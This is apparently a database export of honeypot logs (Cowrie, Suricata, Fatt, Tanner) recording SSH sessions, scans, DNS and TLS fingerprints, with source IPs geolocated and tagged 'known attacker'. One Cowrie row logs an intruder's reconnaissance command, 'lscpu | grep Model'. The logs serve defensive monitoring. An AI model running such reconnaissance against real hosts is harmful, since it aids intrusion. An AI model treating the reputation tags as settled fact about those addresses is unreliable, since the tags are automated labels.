"2021-09-20T11:47:27.816739Z", "@timestamp": "2021-09-20T11:47:27.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31757	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:28.057028+03	2021-09-20 15:00:02.583718+03	{"_id": "HQYIA3wBvYTbRNuEUEYM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:28.057028Z", "@timestamp": "2021-09-20T11:47:28.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31758	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:28.0576+03	2021-09-20 15:00:02.585717+03	{"_id": "HgYIA3wBvYTbRNuEUEYM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:28.057600Z", "@timestamp": "2021-09-20T11:47:28.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31759	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:47:29.045969+03	2021-09-20 15:00:02.586717+03	{"_id": "IwYIA3wBvYTbRNuEUUak", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 54307, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3425, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 440287647346351, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 39918, "timestamp": "2021-09-20T11:47:29.045969Z", "@timestamp": "2021-09-20T11:47:29.045Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31760	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:29.097197+03	2021-09-20 15:00:02.587716+03	{"_id": "JQYIA3wBvYTbRNuEUkal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35668, "dest_port": 443, "timestamp": "2021-09-20T11:47:29.097197", "@timestamp": "2021-09-20T11:47:29.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31761	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:47:29.55971+03	2021-09-20 15:00:02.588716+03	{"_id": "MgYIA3wBvYTbRNuEVUaN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 17253, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3425, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1331843401090161, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 45954, "timestamp": "2021-09-20T11:47:29.559710Z", "@timestamp": "2021-09-20T11:47:29.559Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31762	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:29.619524+03	2021-09-20 15:00:02.590716+03	{"_id": "MwYIA3wBvYTbRNuEVkaP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35670, "dest_port": 443, "timestamp": "2021-09-20T11:47:29.619524", "@timestamp": "2021-09-20T11:47:29.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31763	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:28.192321+03	2021-09-20 15:00:02.591717+03	{"_id": "HwYIA3wBvYTbRNuEUEYM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "107.0.200.227", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.1354353427886963, "duplicate": true, "timestamp": "2021-09-20T11:47:28.192321Z", "@timestamp": "2021-09-20T11:47:28.192Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31764	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:28.193454+03	2021-09-20 15:00:02.592716+03	{"_id": "IAYIA3wBvYTbRNuEUEYM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 16 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 16.344802856445312, "timestamp": "2021-09-20T11:47:28.193454Z", "@timestamp": "2021-09-20T11:47:28.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31765	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:47:28.65086+03	2021-09-20 15:00:02.594717+03	{"_id": "IQYIA3wBvYTbRNuEUEYM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "bd6e198d0eed", "@version": "1", "duration": 2.602494716644287, "timestamp": "2021-09-20T11:47:28.650860Z", "@timestamp": "2021-09-20T11:47:28.650Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31766	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:47:29.044719+03	2021-09-20 15:00:02.595717+03	{"_id": "IgYIA3wBvYTbRNuEUUak", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 54307, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 440287647346351, "@version": "1", "in_iface": "enp5s0", "src_port": 39918, "dest_port": 53, "timestamp": "2021-09-20T11:47:29.044719Z", "@timestamp": "2021-09-20T11:47:29.044Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31767	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:47:29.139951+03	2021-09-20 15:00:02.597717+03	{"_id": "JAYIA3wBvYTbRNuEUkal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35668, "timestamp": "2021-09-20T11:47:29.139951", "@timestamp": "2021-09-20T11:47:29.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31768	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:47:29.558193+03	2021-09-20 15:00:02.598717+03	{"_id": "MQYIA3wBvYTbRNuEVUaN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 17253, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1331843401090161, "@version": "1", "in_iface": "enp5s0", "src_port": 45954, "dest_port": 53, "timestamp": "2021-09-20T11:47:29.558193Z", "@timestamp": "2021-09-20T11:47:29.558Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31769	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:47:29.661583+03	2021-09-20 15:00:02.599716+03	{"_id": "NAYIA3wBvYTbRNuEVkaP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35670, "timestamp": "2021-09-20T11:47:29.661583", "@timestamp": "2021-09-20T11:47:29.661Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31770	184.105.247.254	109.199.241.180	Tanner	2021-09-20 14:47:35.028583+03	2021-09-20 15:00:02.601716+03	{"_id": "NgYIA3wBvYTbRNuEaUYY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/", "peer": {}, "type": "Tanner", "uuid": "c012a53c-47fa-414b-a3ea-566b19c5491a", "geoip": {"ip": "184.105.247.254", "asn": 6939, "as_org": "Hurricane Electric, Inc.", "dma_code": 770, "latitude": 41.1919, "location": {"lat": 41.1919, "lon": -111.9474}, "timezone": "America/Denver", "city_name": "Ogden", "longitude": -111.9474, "postal_code": "84403", "region_code": "UT", "region_name": "Utah", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "mass scanner", "method": "GET", "src_ip": "184.105.247.254", "status": 200, "cookies": {"sess_uuid": null}, "headers": {"host": "109.199.241.180", "user-agent": null}, "@version": "1", "src_port": 46352, "dest_port": 80, "timestamp": "2021-09-20T11:47:35.028583", "@timestamp": "2021-09-20T11:47:35.028Z", "response_msg": {"version": "0.6.0", "response": {"message": {"detection": {"name": "index", "type": 1, "order": 1, "version": "0.6.0"}, "sess_uuid": "701340eb-ca58-4302-8167-9e65548e8832"}}}, "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	\N	mass scanner	\N
31771	184.105.247.254	109.199.241.180	Suricata	2021-09-20 14:47:35.214412+03	2021-09-20 15:00:02.602717+03	{"_id": "NwYIA3wBvYTbRNuEaUYY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/", "length": 9652, "status": 200, "hostname": "109.199.241.180", "protocol": "HTTP/1.1", "http_method": "GET", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "184.105.247.254", "asn": 6939, "as_org": "Hurricane Electric, Inc.", "dma_code": 770, "latitude": 41.1919, "location": {"lat": 41.1919, "lon": -111.9474}, "timezone": "America/Denver", "city_name": "Ogden", "longitude": -111.9474, "postal_code": "84403", "region_code": "UT", "region_name": "Utah", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "tx_id": 0, "ip_rep": "mass scanner", "src_ip": "184.105.247.254", "dest_ip": "192.168.20.116", "flow_id": 432971170882799, "@version": "1", "in_iface": "enp5s0", "src_port": 46352, "dest_port": 80, "timestamp": "2021-09-20T11:47:35.214412Z", "@timestamp": "2021-09-20T11:47:35.214Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	mass scanner	\N
31772	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:35.039409+03	2021-09-20 15:00:02.603716+03	{"_id": "OQYIA3wBvYTbRNuEakYZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "184.105.247.254", "@version": "1", "protocol": "http", "src_port": 80, "dest_port": 46352, "fatt_http": {"server": "Python/3.7 aiohttp/3.4.4", "responseCode": "200", "contentLength": "9652", "responseVersion": "HTTP/1.1", "serverHeaderHash": "64bb43043bdf79c029df6ee1f380181d", "serverHeaderOrder": "content_type,set_cookie,content_length,date,server"}, "timestamp": "2021-09-20T11:47:35.039409", "@timestamp": "2021-09-20T11:47:35.039Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	\N	\N
31773	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:47:35.214412+03	2021-09-20 15:00:02.605717+03	{"_id": "QwYIA3wBvYTbRNuEbUYA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/", "length": 9652, "status": 200, "hostname": "109.199.241.180", "protocol": "HTTP/1.1", "http_method": "GET", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "dest_ip": "184.105.247.254", "flow_id": 432971170882799, "@version": "1", "fileinfo": {"md5": "ac56291293ec6186a86afc3495db6b7f", "gaps": false, "size": 9652, "magic": "HTML document, ASCII text", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/"}, "in_iface": "enp5s0", "src_port": 80, "app_proto": "http", "dest_port": 46352, "timestamp": "2021-09-20T11:47:35.214412Z", "@timestamp": "2021-09-20T11:47:35.214Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
31774	184.105.247.254	109.199.241.180	Fatt	2021-09-20 14:47:35.0248+03	2021-09-20 15:00:02.606716+03	{"_id": "OAYIA3wBvYTbRNuEakYZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "184.105.247.254", "asn": 6939, "as_org": "Hurricane Electric, Inc.", "dma_code": 770, "latitude": 41.1919, "location": {"lat": 41.1919, "lon": -111.9474}, "timezone": "America/Denver", "city_name": "Ogden", "longitude": -111.9474, "postal_code": "84403", "region_code": "UT", "region_name": "Utah", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "mass scanner", "src_ip": "184.105.247.254", "dest_ip": "192.168.20.116", "@version": "1", "protocol": "http", "src_port": 46352, "dest_port": 80, "fatt_http": {"userAgent": "", "requestURI": "/", "requestMethod": "GET", "requestFullURI": "http://109.199.241.180/", "requestVersion": "HTTP/1.1", "clientHeaderHash": "67b3dba8bc6778101892eb77249db32e", "clientHeaderOrder": "host"}, "timestamp": "2021-09-20T11:47:35.024800", "@timestamp": "2021-09-20T11:47:35.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	mass scanner	\N
31775	189.50.42.214	109.199.241.180	Suricata	2021-09-20 14:47:52.430114+03	2021-09-20 15:00:02.607716+03	{"_id": "egYIA3wBvYTbRNuEr0Zu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:47:51.954969+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1131657124352601, "payload": "AAADzAYU21k07LGExt1nHT+AmWQg+AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34238, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:47:52.430114Z", "@timestamp": "2021-09-20T11:47:52.430Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......Y4.....g.?..d ....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
